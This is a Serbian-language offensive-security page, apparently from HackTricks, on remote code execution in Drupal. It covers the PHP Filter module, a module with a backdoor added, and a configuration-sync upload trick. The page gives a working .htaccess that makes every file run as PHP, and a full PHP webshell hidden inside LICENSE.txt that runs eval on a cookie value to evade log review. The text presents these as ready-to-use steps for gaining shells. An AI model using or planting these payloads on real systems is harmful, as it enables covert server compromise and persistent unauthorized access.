228 lines
9.4 KiB
Markdown

# Drupal RCE
{{#include ../../../banners/hacktricks-training.md}}
## Sa PHP Filter Modulom
> [!WARNING]
> U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/snippeta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
1. Idite na **/modules/php** i ako se vrati greška 403, onda je **PHP filter plugin instaliran i možete nastaviti**
1. Ako nije, idite na `Modules` i označite kutiju `PHP Filter`, a zatim kliknite na `Save configuration`
2. Zatim, da biste to iskoristili, kliknite na `Add content`, zatim odaberite `Basic Page` ili `Article` i napišite **PHP backdoor**, zatim odaberite `PHP` kod u Text formatu i konačno odaberite `Preview`
3. Da biste to aktivirali, jednostavno pristupite novonastalom čvoru:
```bash
curl http://drupal.local/node/3
```
## Instalirajte PHP Filter Modul
> [!WARNING]
> U trenutnim verzijama više nije moguće instalirati dodatke samo imajući pristup vebu nakon podrazumevane instalacije.
Od verzije **8 nadalje,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modul nije instaliran podrazumevano**. Da bismo iskoristili ovu funkcionalnost, morali bismo **sami instalirati modul**.
1. Preuzmite najnoviju verziju modula sa Drupal veb sajta.
1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
2. Kada se preuzme, idite na **`Administration`** > **`Reports`** > **`Available updates`**.
3. Kliknite na **`Browse`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Install`**.
4. Kada je modul instaliran, možemo kliknuti na **`Content`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP code` iz `Text format` padajuće liste**.
## Modul sa Bekdorom
> [!WARNING]
> U trenutnim verzijama više nije moguće instalirati dodatke samo imajući pristup vebu nakon podrazumevane instalacije.
Bilo je moguće **preuzeti** **modul**, dodati mu **bekdor** i **instalirati** ga. Na primer, preuzimanje [**Trurnstile**](https://www.drupal.org/project/turnstile) modula u komprimovanom formatu, kreiranje novog PHP bekdor fajla unutar njega, omogućavajući pristup PHP fajlu sa **`.htaccess`** fajlom:
```html
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
```
I zatim idemo na **`http://drupal.local/admin/modules/install`** da instaliramo modul sa backdoor-om i pristupimo **`/modules/turnstile/back.php`** da ga izvršimo.
## Backdooring Drupal sa sinhronizacijom konfiguracije <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Post koji je podelio** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Deo 1 (aktivacija _Media_ i _Media Library_)
U meniju _Extend_ (/admin/modules), možete aktivirati ono što se čini kao već instalirani dodaci. Po defaultu, dodaci _Media_ i _Media Library_ se ne čine aktiviranim, pa hajde da ih aktiviramo.
Pre aktivacije:
<figure><img src="../../../images/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Posle aktivacije:
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deo 2 (iskorišćavanje funkcije _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Iskoristićemo funkciju _Configuration synchronization_ da dump-ujemo (izvezemo) i upload-ujemo (import-ujemo) Drupal konfiguracione unose:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
**Patch system.file.yml**
Hajde da počnemo sa patch-ovanjem prvog unosa `allow_insecure_uploads` iz:
File: system.file.yml
```
...
allow_insecure_uploads: false
...
```
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Na:
Fajl: system.file.yml
```
...
allow_insecure_uploads: true
...
```
<figure><img src="../../../images/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field_media_document.yml**
Zatim, zakrpite drugi unos `file_extensions` iz:
File: field.field.media.document.field_media_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
<figure><img src="../../../images/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Da:
Fajl: field.field.media.document.field_media_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
> Ne koristim to u ovom blog postu, ali je zabeleženo da je moguće definisati unos `file_directory` na proizvoljan način i da je podložan napadu prečicom (tako da možemo da se vratimo unazad unutar Drupal datotečnog stabla).
<figure><img src="../../../images/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Deo 3 (iskorišćavanje funkcije _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
Poslednji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
Datoteka: .htaccess
```
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
```
Zašto je ovaj trik cool?
Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web server, možemo prenositi naše komande putem `$_COOKIE` i u logovima Web servera, ovo će se prikazati kao legitimni GET zahtev za tekstualnom datotekom.
Zašto nazvati naš Webshell LICENSE.txt?
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog isječka PHP koda u sredinu (pošto je datoteka dovoljno velika).
<figure><img src="../../../images/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Datoteka: Patched LICENSE.txt
```txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
```
#### **Deo 3.1 (upload fajl .htaccess)**
Prvo, koristimo funkciju _Add Document_ (/media/add/document) da otpremimo naš fajl koji sadrži Apache direktive (.htaccess).
<figure><img src="../../../images/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Deo 3.2 (upload fajl LICENSE.txt)**
Zatim, ponovo koristimo funkciju _Add Document_ (/media/add/document) da otpremimo Webshell skriven unutar fajla sa licencom.
<figure><img src="../../../images/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../images/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Deo 4 (interakcija sa Webshell-om) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
Poslednji deo se sastoji od interakcije sa Webshell-om.
Kao što je prikazano na sledećem snimku ekrana, ako kolačić koji očekuje naš Webshell nije definisan, dobijamo sledeći rezultat kada konsultujemo fajl putem Web pretraživača.
<figure><img src="../../../images/image (14) (1).png" alt=""><figcaption></figcaption></figure>
Kada napadač postavi kolačić, može da interaguje sa Webshell-om i izvrši bilo koje komande koje želi.
<figure><img src="../../../images/image (15) (1).png" alt=""><figcaption></figcaption></figure>
I kao što možete videti u logovima, izgleda da je samo txt fajl zatražen.
<figure><img src="../../../images/image (16) (1).png" alt=""><figcaption></figcaption></figure>
Hvala što ste odvojili vreme da pročitate ovaj članak, nadam se da će vam pomoći da dobijete neke shell-ove.
{{#include ../../../banners/hacktricks-training.md}}